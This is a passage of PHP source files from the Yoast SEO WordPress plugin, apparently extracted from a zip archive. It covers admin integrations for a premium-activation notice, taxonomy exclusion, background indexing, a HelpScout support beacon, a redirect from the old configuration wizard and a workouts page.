		$premium_file = 'wordpress-seo-premium/wp-seo-premium.php';

		if ( ! \current_user_can( 'activate_plugin', $premium_file ) ) {
			return;
		}

		if ( $this->premium_is_installed_not_activated( $premium_file ) ) {
			$this->admin_asset_manager->enqueue_style( 'monorepo' );

			$content = \sprintf(
				/* translators: 1: Yoast SEO Premium 2: Link start tag to activate premium, 3: Link closing tag. */
				\__( 'You\'ve installed %1$s but it\'s not activated yet. %2$sActivate %1$s now!%3$s', 'wordpress-seo' ),
				'Yoast SEO Premium',
				'<a href="' . \esc_url(
					\wp_nonce_url(
						\self_admin_url( 'plugins.php?action=activate&plugin=' . $premium_file ),
						'activate-plugin_' . $premium_file
					)
				) . '">',
				'</a>'
			);
			// phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped above.
			echo new Notice_Presenter(
				/* translators: 1: Yoast SEO Premium */
				\sprintf( \__( 'Activate %1$s!', 'wordpress-seo' ), 'Yoast SEO Premium' ),
				$content,
				'support-team.svg',
				null,
				true,
				'yoast-premium-deactivated-notice'
			);
			// phpcs:enable

			// Enable permanently dismissing the notice.
			echo "<script>
                function dismiss_premium_deactivated_notice(){
                    var data = {
                    'action': 'dismiss_premium_deactivated_notice',
                    };

                    jQuery( '#yoast-premium-deactivated-notice' ).hide();
                    jQuery.post( ajaxurl, data, function( response ) {});
                }

                jQuery( document ).ready( function() {
                    jQuery( 'body' ).on( 'click', '#yoast-premium-deactivated-notice .notice-dismiss', function() {
                        dismiss_premium_deactivated_notice();
                    } );
                } );
            </script>";
		}
	}

	/**
	 * Dismisses the premium deactivated notice.
	 *
	 * @return bool
	 */
	public function dismiss_premium_deactivated_notice() {
		return $this->options_helper->set( 'dismiss_premium_deactivated_notice', true );
	}

	/**
	 * Returns whether or not premium is installed and not activated.
	 *
	 * @param string $premium_file The premium file.
	 *
	 * @return bool Whether or not premium is installed and not activated.
	 */
	protected function premium_is_installed_not_activated( $premium_file ) {
		return (
			! \defined( 'WPSEO_PREMIUM_FILE' )
			&& \file_exists( \WP_PLUGIN_DIR . '/' . $premium_file )
		);
	}
}
PK       ! G>    1  admin/indexables-exclude-taxonomy-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Indexables_Exclude_Taxonomy_Integration class
 */
class Indexables_Exclude_Taxonomy_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Indexables_Exclude_Taxonomy_Integration constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_indexable_excluded_taxonomies', [ $this, 'exclude_taxonomies_for_indexation' ] );
	}

	/**
	 * Exclude the taxonomy from the indexable table.
	 *
	 * @param array $excluded_taxonomies The excluded taxonomies.
	 *
	 * @return array The excluded taxonomies, including specific taxonomies.
	 */
	public function exclude_taxonomies_for_indexation( $excluded_taxonomies ) {
		$taxonomies_to_exclude = \array_merge( $excluded_taxonomies, [ 'wp_pattern_category' ] );

		if ( $this->options_helper->get( 'disable-post_format', false ) ) {
			return \array_merge( $taxonomies_to_exclude, [ 'post_format' ] );
		}

		return $taxonomies_to_exclude;
	}
}
PK       ! T=+  +  )  admin/background-indexing-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Actions\Indexing\Indexable_Indexing_Complete_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexation_Action_Interface;
use Yoast\WP\SEO\Conditionals\Get_Request_Conditional;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\WP_CRON_Enabled_Conditional;
use Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Background_Indexing_Integration.
 *
 * @package Yoast\WP\SEO\Integrations\Admin
 */
class Background_Indexing_Integration implements Integration_Interface {

	/**
	 * Represents the indexing completed action.
	 *
	 * @var Indexable_Indexing_Complete_Action
	 */
	protected $complete_indexation_action;

	/**
	 * Represents the indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * An object that checks if we are on the Yoast admin or on the dashboard page.
	 *
	 * @var Yoast_Admin_And_Dashboard_Conditional
	 */
	protected $yoast_admin_and_dashboard_conditional;

	/**
	 * All available indexing actions.
	 *
	 * @var Indexation_Action_Interface[]
	 */
	protected $indexing_actions;

	/**
	 * An object that checks if we are handling a GET request.
	 *
	 * @var Get_Request_Conditional
	 */
	private $get_request_conditional;

	/**
	 * An object that checks if WP_CRON is enabled.
	 *
	 * @var WP_CRON_Enabled_Conditional
	 */
	private $wp_cron_enabled_conditional;

	/**
	 * The indexable helper
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Shutdown_Indexing_Integration constructor.
	 *
	 * @param Indexable_Indexing_Complete_Action    $complete_indexation_action            The complete indexing action.
	 * @param Indexing_Helper                       $indexing_helper                       The indexing helper.
	 * @param Indexable_Helper                      $indexable_helper                      The indexable helper.
	 * @param Yoast_Admin_And_Dashboard_Conditional $yoast_admin_and_dashboard_conditional An object that checks if we are on the Yoast admin or on the dashboard page.
	 * @param Get_Request_Conditional               $get_request_conditional               An object that checks if we are handling a GET request.
	 * @param WP_CRON_Enabled_Conditional           $wp_cron_enabled_conditional           An object that checks if WP_CRON is enabled.
	 * @param Indexation_Action_Interface           ...$indexing_actions                   A list of all available indexing actions.
	 */
	public function __construct(
		Indexable_Indexing_Complete_Action $complete_indexation_action,
		Indexing_Helper $indexing_helper,
		Indexable_Helper $indexable_helper,
		Yoast_Admin_And_Dashboard_Conditional $yoast_admin_and_dashboard_conditional,
		Get_Request_Conditional $get_request_conditional,
		WP_CRON_Enabled_Conditional $wp_cron_enabled_conditional,
		Indexation_Action_Interface ...$indexing_actions
	) {
		$this->indexing_actions                      = $indexing_actions;
		$this->complete_indexation_action            = $complete_indexation_action;
		$this->indexing_helper                       = $indexing_helper;
		$this->indexable_helper                      = $indexable_helper;
		$this->yoast_admin_and_dashboard_conditional = $yoast_admin_and_dashboard_conditional;
		$this->get_request_conditional               = $get_request_conditional;
		$this->wp_cron_enabled_conditional           = $wp_cron_enabled_conditional;
	}

	/**
	 * Returns the conditionals based on which this integration should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [
			Migrations_Conditional::class,
		];
	}

	/**
	 * Register hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'register_shutdown_indexing' ] );
		\add_action( 'wpseo_indexable_index_batch', [ $this, 'index' ] );
		// phpcs:ignore WordPress.WP.CronInterval -- The sniff doesn't understand values with parentheses. https://github.com/WordPress/WordPress-Coding-Standards/issues/2025
		\add_filter( 'cron_schedules', [ $this, 'add_cron_schedule' ] );
		\add_action( 'admin_init', [ $this, 'schedule_cron_indexing' ], 11 );

		$this->add_limit_filters();
	}

	/**
	 * Adds the filters that change the indexing limits.
	 *
	 * @return void.
	 */
	public function add_limit_filters() {
		\add_filter( 'wpseo_post_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
		\add_filter( 'wpseo_post_type_archive_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
		\add_filter( 'wpseo_term_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
		\add_filter( 'wpseo_prominent_words_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
		\add_filter( 'wpseo_link_indexing_limit', [ $this, 'throttle_cron_link_indexing' ] );
	}

	/**
	 * Enqueues the required scripts.
	 *
	 * @return void
	 */
	public function register_shutdown_indexing() {
		if ( $this->should_index_on_shutdown( $this->get_shutdown_limit() ) ) {
			$this->register_shutdown_function( 'index' );
		}
	}

	/**
	 * Run a single indexing pass of each indexing action. Intended for use as a shutdown function.
	 *
	 * @return void
	 */
	public function index() {
		if ( \wp_doing_cron() && ! $this->should_index_on_cron() ) {
			$this->unschedule_cron_indexing();

			return;
		}

		foreach ( $this->indexing_actions as $indexation_action ) {
			$indexation_action->index();
		}

		if ( $this->indexing_helper->get_limited_filtered_unindexed_count_background( 1 ) === 0 ) {
			// We set this as complete, even though prominent words might not be complete. But that's the way we always treated that.
			$this->complete_indexation_action->complete();
		}
	}

	/**
	 * Adds the 'Every fifteen minutes' cron schedule to WP-Cron.
	 *
	 * @param array $schedules The existing schedules.
	 *
	 * @return array The schedules containing the fifteen_minutes schedule.
	 */
	public function add_cron_schedule( $schedules ) {
		if ( ! \is_array( $schedules ) ) {
			return $schedules;
		}

		$schedules['fifteen_minutes'] = [
			'interval' => ( 15 * \MINUTE_IN_SECONDS ),
			'display'  => \esc_html__( 'Every fifteen minutes', 'wordpress-seo' ),
		];

		return $schedules;
	}

	/**
	 * Schedule background indexing every 15 minutes if the index isn't already up to date.
	 *
	 * @return void
	 */
	public function schedule_cron_indexing() {
		/**
		 * Filter: 'wpseo_unindexed_count_queries_ran' - Informs whether the expensive unindexed count queries have been ran already.
		 *
		 * @internal
		 *
		 * @param bool $have_queries_ran
		 */
		$have_queries_ran = \apply_filters( 'wpseo_unindexed_count_queries_ran', false );

		if ( ( ! $this->yoast_admin_and_dashboard_conditional->is_met() || ! $this->get_request_conditional->is_met() ) && ! $have_queries_ran ) {
			return;
		}

		if ( ! \wp_next_scheduled( 'wpseo_indexable_index_batch' ) && $this->should_index_on_cron() ) {
			\wp_schedule_event( ( \time() + \HOUR_IN_SECONDS ), 'fifteen_minutes', 'wpseo_indexable_index_batch' );
		}
	}

	/**
	 * Limit cron indexing to 15 indexables per batch instead of 25.
	 *
	 * @param int $indexation_limit The current limit (filter input).
	 *
	 * @return int The new batch limit.
	 */
	public function throttle_cron_indexing( $indexation_limit ) {
		if ( \wp_doing_cron() ) {
			/**
			 * Filter: 'wpseo_cron_indexing_limit_size' - Adds the possibility to limit the number of items that are indexed when in cron action.
			 *
			 * @param int $limit Maximum number of indexables to be indexed per indexing action.
			 */
			return \apply_filters( 'wpseo_cron_indexing_limit_size', 15 );
		}

		return $indexation_limit;
	}

	/**
	 * Limit cron indexing to 3 links per batch instead of 5.
	 *
	 * @param int $link_indexation_limit The current limit (filter input).
	 *
	 * @return int The new batch limit.
	 */
	public function throttle_cron_link_indexing( $link_indexation_limit ) {
		if ( \wp_doing_cron() ) {
			/**
			 * Filter: 'wpseo_cron_link_indexing_limit_size' - Adds the possibility to limit the number of links that are indexed when in cron action.
			 *
			 * @param int $limit Maximum number of link indexables to be indexed per link indexing action.
			 */
			return \apply_filters( 'wpseo_cron_link_indexing_limit_size', 3 );
		}

		return $link_indexation_limit;
	}

	/**
	 * Determine whether cron indexation should be performed.
	 *
	 * @return bool Should cron indexation be performed.
	 */
	protected function should_index_on_cron() {
		if ( ! $this->indexable_helper->should_index_indexables() ) {
			return false;
		}

		// The filter supersedes everything when preventing cron indexation.
		if ( \apply_filters( 'Yoast\WP\SEO\enable_cron_indexing', true ) !== true ) {
			return false;
		}

		return $this->indexing_helper->get_limited_filtered_unindexed_count_background( 1 ) > 0;
	}

	/**
	 * Determine whether background indexation should be performed.
	 *
	 * @param int $shutdown_limit The shutdown limit used to determine whether indexation should be run.
	 *
	 * @return bool Should background indexation be performed.
	 */
	protected function should_index_on_shutdown( $shutdown_limit ) {
		if ( ! $this->yoast_admin_and_dashboard_conditional->is_met() || ! $this->get_request_conditional->is_met() ) {
			return false;
		}

		if ( ! $this->indexable_helper->should_index_indexables() ) {
			return false;
		}

		if ( $this->wp_cron_enabled_conditional->is_met() ) {
			return false;
		}

		$total_unindexed = $this->indexing_helper->get_limited_filtered_unindexed_count_background( $shutdown_limit );
		if ( $total_unindexed === 0 || $total_unindexed > $shutdown_limit ) {
			return false;
		}

		return true;
	}

	/**
	 * Retrieves the shutdown limit. This limit is the amount of indexables that is generated in the background.
	 *
	 * @return int The shutdown limit.
	 */
	protected function get_shutdown_limit() {
		/**
		 * Filter 'wpseo_shutdown_indexation_limit' - Allow filtering the number of objects that can be indexed during shutdown.
		 *
		 * @param int $limit The maximum number of objects indexed.
		 */
		return \apply_filters( 'wpseo_shutdown_indexation_limit', 25 );
	}

	/**
	 * Removes the cron indexing job from the scheduled event queue.
	 *
	 * @return void
	 */
	protected function unschedule_cron_indexing() {
		$scheduled = \wp_next_scheduled( 'wpseo_indexable_index_batch' );
		if ( $scheduled ) {
			\wp_unschedule_event( $scheduled, 'wpseo_indexable_index_batch' );
		}
	}

	/**
	 * Registers a method to be executed on shutdown.
	 * This wrapper mostly exists for making this class more unittestable.
	 *
	 * @param string $method_name The name of the method on the current instance to register.
	 *
	 * @return void
	 */
	protected function register_shutdown_function( $method_name ) {
		\register_shutdown_function( [ $this, $method_name ] );
	}
}
PK       ! ,3  3    admin/helpscout-beacon.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use WPSEO_Tracking_Server_Data;
use WPSEO_Utils;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Config\Migration_Status;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Academy_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Integrations\Settings_Integration;
use Yoast\WP\SEO\Integrations\Support_Integration;

/**
 * Class WPSEO_HelpScout
 */
class HelpScout_Beacon implements Integration_Interface {

	/**
	 * The id for the beacon.
	 *
	 * @var string
	 */
	protected $beacon_id = '2496aba6-0292-489c-8f5d-1c0fba417c2f';

	/**
	 * The id for the beacon for users that have tracking on.
	 *
	 * @var string
	 */
	protected $beacon_id_tracking_users = '6b8e74c5-aa81-4295-b97b-c2a62a13ea7f';

	/**
	 * The products the beacon is loaded for.
	 *
	 * @var array
	 */
	protected $products = [];

	/**
	 * Whether to ask the user's consent before loading in HelpScout.
	 *
	 * @var bool
	 */
	protected $ask_consent = true;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The array of pages we need to show the beacon on with their respective beacon IDs.
	 *
	 * @var array
	 */
	protected $pages_ids;

	/**
	 * The array of pages we need to show the beacon on.
	 *
	 * @var array
	 */
	protected $base_pages = [
		'wpseo_dashboard',
		Settings_Integration::PAGE,
		Academy_Integration::PAGE,
		Support_Integration::PAGE,
		'wpseo_search_console',
		'wpseo_tools',
		'wpseo_licenses',
		'wpseo_workouts',
		'wpseo_integrations',
	];

	/**
	 * The current admin page
	 *
	 * @var string|null
	 */
	protected $page;

	/**
	 * The asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * The migration status object.
	 *
	 * @var Migration_Status
	 */
	protected $migration_status;

	/**
	 * Headless_Rest_Endpoints_Enabled_Conditional constructor.
	 *
	 * @param Options_Helper            $options          The options helper.
	 * @param WPSEO_Admin_Asset_Manager $asset_manager    The asset manager.
	 * @param Migration_Status          $migration_status The migrations status.
	 */
	public function __construct( Options_Helper $options, WPSEO_Admin_Asset_Manager $asset_manager, Migration_Status $migration_status ) {
		$this->options       = $options;
		$this->asset_manager = $asset_manager;
		$this->ask_consent   = ! $this->options->get( 'tracking' );
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			$this->page = \sanitize_text_field( \wp_unslash( $_GET['page'] ) );
		}
		else {
			$this->page = null;
		}
		$this->migration_status = $migration_status;

		foreach ( $this->base_pages as $page ) {
			if ( $this->ask_consent ) {
				// We want to be able to show surveys to people who have tracking on, so we give them a different beacon.
				$this->pages_ids[ $page ] = $this->beacon_id_tracking_users;
			}
			else {
				$this->pages_ids[ $page ] = $this->beacon_id;
			}
		}
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_help_scout_script' ] );
		\add_action( 'admin_footer', [ $this, 'output_beacon_js' ] );
	}

	/**
	 * Enqueues the HelpScout script.
	 *
	 * @return void
	 */
	public function enqueue_help_scout_script() {
		// Make sure plugins can filter in their "stuff", before we check whether we're outputting a beacon.
		$this->filter_settings();
		if ( ! $this->is_beacon_page() ) {
			return;
		}

		$this->asset_manager->enqueue_script( 'help-scout-beacon' );
	}

	/**
	 * Outputs a small piece of javascript for the beacon.
	 *
	 * @return void
	 */
	public function output_beacon_js() {
		if ( ! $this->is_beacon_page() ) {
			return;
		}

		\printf(
			'<script type="text/javascript">window.%1$s(\'%2$s\', %3$s)</script>',
			( $this->ask_consent ) ? 'wpseoHelpScoutBeaconConsent' : 'wpseoHelpScoutBeacon',
			\esc_html( $this->pages_ids[ $this->page ] ),
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- escaping done in format_json_encode.
			WPSEO_Utils::format_json_encode( (array) $this->get_session_data() )
		);
	}

	/**
	 * Checks if the current page is a page containing the beacon.
	 *
	 * @return bool
	 */
	private function is_beacon_page() {
		$return = false;
		if ( ! empty( $this->page ) && $GLOBALS['pagenow'] === 'admin.php' && isset( $this->pages_ids[ $this->page ] ) ) {
			$return = true;
		}

		/**
		 * Filter: 'wpseo_helpscout_show_beacon' - Allows overriding whether we show the HelpScout beacon.
		 *
		 * @param bool $show_beacon Whether we show the beacon or not.
		 */
		return \apply_filters( 'wpseo_helpscout_show_beacon', $return );
	}

	/**
	 * Retrieves the identifying data.
	 *
	 * @return string The data to pass as identifying data.
	 */
	protected function get_session_data() {
		// Short-circuit if we can get the needed data from a transient.
		$transient_data = \get_transient( 'yoast_beacon_session_data' );

		if ( \is_array( $transient_data ) ) {
			return WPSEO_Utils::format_json_encode( $transient_data );
		}

		$current_user = \wp_get_current_user();

		// Do not make these strings translatable! They are for our support agents, the user won't see them!
		$data = \array_merge(
			[
				'name'               => \trim( $current_user->user_firstname . ' ' . $current_user->user_lastname ),
				'email'              => $current_user->user_email,
				'Languages'          => $this->get_language_settings(),
			],
			$this->get_server_info(),
			[
				'WordPress Version'    => $this->get_wordpress_version(),
				'Active theme'         => $this->get_theme_info(),
				'Active plugins'       => $this->get_active_plugins(),
				'Must-use and dropins' => $this->get_mustuse_and_dropins(),
				'Indexables status'    => $this->get_indexables_status(),
			]
		);

		if ( ! empty( $this->products ) ) {
			$addon_manager = new WPSEO_Addon_Manager();
			foreach ( $this->products as $product ) {
				$subscription = $addon_manager->get_subscription( $product );

				if ( ! $subscription ) {
					continue;
				}

				$data[ $subscription->product->name ] = $this->get_product_info( $subscription );
			}
		}

		// Store the data in a transient for 5 minutes to prevent overhead on every backend pageload.
		\set_transient( 'yoast_beacon_session_data', $data, ( 5 * \MINUTE_IN_SECONDS ) );

		return WPSEO_Utils::format_json_encode( $data );
	}

	/**
	 * Returns basic info about the server software.
	 *
	 * @return array
	 */
	private function get_server_info() {
		$server_tracking_data = new WPSEO_Tracking_Server_Data();
		$server_data          = $server_tracking_data->get();
		$server_data          = $server_data['server'];

		$fields_to_use = [
			'Server IP'        => 'ip',
			'PHP Version'      => 'PhpVersion',
			'cURL Version'     => 'CurlVersion',
		];

		$server_data['CurlVersion'] = $server_data['CurlVersion']['version'] . ' (SSL Support ' . $server_data['CurlVersion']['sslSupport'] . ')';

		$server_info = [];

		foreach ( $fields_to_use as $label => $field_to_use ) {
			if ( isset( $server_data[ $field_to_use ] ) ) {
				$server_info[ $label ] = \esc_html( $server_data[ $field_to_use ] );
			}
		}

		// Get the memory limits for the server and, if different, from WordPress as well.
		$memory_limit                 = \ini_get( 'memory_limit' );
		$server_info['Memory limits'] = 'Server memory limit: ' . $memory_limit;

		if ( $memory_limit !== \WP_MEMORY_LIMIT ) {
			$server_info['Memory limits'] .= ', WP_MEMORY_LIMIT: ' . \WP_MEMORY_LIMIT;
		}

		if ( $memory_limit !== \WP_MAX_MEMORY_LIMIT ) {
			$server_info['Memory limits'] .= ', WP_MAX_MEMORY_LIMIT: ' . \WP_MAX_MEMORY_LIMIT;
		}

		return $server_info;
	}

	/**
	 * Returns info about the Yoast SEO plugin version and license.
	 *
	 * @param object $plugin The plugin.
	 *
	 * @return string The product info.
	 */
	private function get_product_info( $plugin ) {
		if ( empty( $plugin ) ) {
			return '';
		}

		$product_info = \sprintf(
			'Expiration date %1$s',
			$plugin->expiry_date
		);

		return $product_info;
	}

	/**
	 * Returns the WordPress version + a suffix about the multisite status.
	 *
	 * @return string The WordPress version string.
	 */
	private function get_wordpress_version() {
		global $wp_version;

		$wordpress_version = $wp_version;
		if ( \is_multisite() ) {
			$wordpress_version .= ' (multisite: yes)';
		}
		else {
			$wordpress_version .= ' (multisite: no)';
		}

		return $wordpress_version;
	}

	/**
	 * Returns information about the current theme.
	 *
	 * @return string The theme info as string.
	 */
	private function get_theme_info() {
		$theme = \wp_get_theme();

		$theme_info = \sprintf(
			'%1$s (Version %2$s, %3$s)',
			\esc_html( $theme->display( 'Name' ) ),
			\esc_html( $theme->display( 'Version' ) ),
			\esc_attr( $theme->display( 'ThemeURI' ) )
		);

		if ( \is_child_theme() ) {
			$theme_info .= \sprintf( ', this is a child theme of: %1$s', \esc_html( $theme->display( 'Template' ) ) );
		}

		return $theme_info;
	}

	/**
	 * Returns a stringified list of all active plugins, separated by a pipe.
	 *
	 * @return string The active plugins.
	 */
	private function get_active_plugins() {
		$updates_available = \get_site_transient( 'update_plugins' );

		$active_plugins = '';
		foreach ( \wp_get_active_and_valid_plugins() as $plugin ) {
			$plugin_data             = \get_plugin_data( $plugin );
			$plugin_file             = \str_replace( \trailingslashit( \WP_PLUGIN_DIR ), '', $plugin );
			$plugin_update_available = '';

			if ( isset( $updates_available->response[ $plugin_file ] ) ) {
				$plugin_update_available = ' [update available]';
			}

			$active_plugins .= \sprintf(
				'%1$s (Version %2$s%3$s, %4$s) | ',
				\esc_html( $plugin_data['Name'] ),
				\esc_html( $plugin_data['Version'] ),
				$plugin_update_available,
				\esc_attr( $plugin_data['PluginURI'] )
			);
		}

		return $active_plugins;
	}

	/**
	 * Returns a CSV list of all must-use and drop-in plugins.
	 *
	 * @return string The active plugins.
	 */
	private function get_mustuse_and_dropins() {
		$dropins         = \get_dropins();
		$mustuse_plugins = \get_mu_plugins();

		if ( ! \is_array( $dropins ) ) {
			$dropins = [];
		}

		if ( ! \is_array( $mustuse_plugins ) ) {
			$mustuse_plugins = [];
		}

		return \sprintf( 'Must-Use plugins: %1$d, Drop-ins: %2$d', \count( $mustuse_plugins ), \count( $dropins ) );
	}

	/**
	 * Return the indexables status details.
	 *
	 * @return string The indexables status in a string.
	 */
	private function get_indexables_status() {
		$indexables_status  = 'Indexing completed: ';
		$indexing_completed = $this->options->get( 'indexables_indexing_completed' );
		$indexing_reason    = $this->options->get( 'indexing_reason' );

		$indexables_status .= ( $indexing_completed ) ? 'yes' : 'no';
		$indexables_status .= ( $indexing_reason ) ? ', latest indexing reason: ' . \esc_html( $indexing_reason ) : '';

		foreach ( [ 'free', 'premium' ] as $migration_name ) {
			$current_status = $this->migration_status->get_error( $migration_name );

			if ( \is_array( $current_status ) && isset( $current_status['message'] ) ) {
				$indexables_status .= ', migration error: ' . \esc_html( $current_status['message'] );
			}
		}

		return $indexables_status;
	}

	/**
	 * Returns language settings for the website and the current user.
	 *
	 * @return string The locale settings of the site and user.
	 */
	private function get_language_settings() {
		$site_locale = \get_locale();
		$user_locale = \get_user_locale();

		$language_settings = \sprintf(
			'Site locale: %1$s, user locale: %2$s',
			( \is_string( $site_locale ) ) ? \esc_html( $site_locale ) : 'unknown',
			( \is_string( $user_locale ) ) ? \esc_html( $user_locale ) : 'unknown'
		);

		return $language_settings;
	}

	/**
	 * Returns the conditionals based on which this integration should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Allows filtering of the HelpScout settings. Hooked to admin_head to prevent timing issues, not too early, not too late.
	 *
	 * @return void
	 */
	protected function filter_settings() {
		$filterable_helpscout_setting = [
			'products'  => $this->products,
			'pages_ids' => $this->pages_ids,
		];

		/**
		 * Filter: 'wpseo_helpscout_beacon_settings' - Allows overriding the HelpScout beacon settings.
		 *
		 * @param string $beacon_settings The HelpScout beacon settings.
		 */
		$helpscout_settings = \apply_filters( 'wpseo_helpscout_beacon_settings', $filterable_helpscout_setting );

		$this->products  = $helpscout_settings['products'];
		$this->pages_ids = $helpscout_settings['pages_ids'];
	}
}
PK       ! };!    '  admin/old-configuration-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Old_Configuration_Integration class
 */
class Old_Configuration_Integration implements Integration_Interface {

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'admin_menu', [ $this, 'add_submenu_page' ], 11 );
		\add_action( 'admin_init', [ $this, 'redirect_to_new_configuration' ] );
	}

	/**
	 * Adds the old configuration submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array the filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		\add_submenu_page(
			'',
			\__( 'Old Configuration Wizard', 'wordpress-seo' ),
			'',
			'manage_options',
			'wpseo_configurator',
			[ $this, 'render_page' ]
		);

		return $submenu_pages;
	}

	/**
	 * Renders the old configuration page.
	 *
	 * @return void
	 */
	public function render_page() {
		// This page is never to be displayed.
	}

	/**
	 * Redirects from the old configuration page to the new configuration page.
	 *
	 * @return void
	 */
	public function redirect_to_new_configuration() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Data is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_configurator' ) {
			return;
		}
		$redirect_url = 'admin.php?page=wpseo_dashboard#/first-time-configuration';
		\wp_safe_redirect( \admin_url( $redirect_url ), 302, 'Yoast SEO' );
		exit;
	}
}
PK       ! yg32,  2,    admin/workouts-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Notice_Presenter;

/**
 * WorkoutsIntegration class
 */
class Workouts_Integration implements Integration_Interface {

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	private $addon_manager;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Workouts_Integration constructor.
	 *
	 * @param WPSEO_Addon_Manager       $addon_manager       The addon manager.
	 * @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager.
	 * @param Options_Helper            $options_helper      The options helper.
	 * @param Product_Helper            $product_helper      The product helper.
	 */
	public function __construct(
		WPSEO_Addon_Manager $addon_manager,
		WPSEO_Admin_Asset_Manager $admin_asset_manager,
		Options_Helper $options_helper,
		Product_Helper $product_helper
	) {
		$this->addon_manager       = $addon_manager;
		$this->admin_asset_manager = $admin_asset_manager;
		$this->options_helper      = $options_helper;
		$this->product_helper      = $product_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 8 );
		\add_filter( 'wpseo_submenu_pages', [ $this, 'remove_old_submenu_page' ], 10 );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 );
	}

	/**
	 * Adds the workouts submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array The filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		$submenu_pages[] = [
			'wpseo_dashboard',
			'',
			\__( 'Workouts', 'wordpress-seo' ) . ' <span class="yoast-badge yoast-premium-badge"></span>',
			'edit_others_posts',
			'wpseo_workouts',
			[ $this, 'render_target' ],
		];

		return $submenu_pages;
	}

	/**
	 * Removes the workouts submenu page from older Premium versions
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array The filtered submenu pages.
	 */
	public function remove_old_submenu_page( $submenu_pages ) {
		if ( ! $this->should_update_premium() ) {
			return $submenu_pages;
		}

		// Copy only the Workouts page item that comes first in the array.
		$result_submenu_pages      = [];
		$workouts_page_encountered = false;
		foreach ( $submenu_pages as $item ) {
			if ( $item[4] !== 'wpseo_workouts' || ! $workouts_page_encountered ) {
				$result_submenu_pages[] = $item;
			}
			if ( $item[4] === 'wpseo_workouts' ) {
				$workouts_page_encountered = true;
			}
		}

		return $result_submenu_pages;
	}

	/**
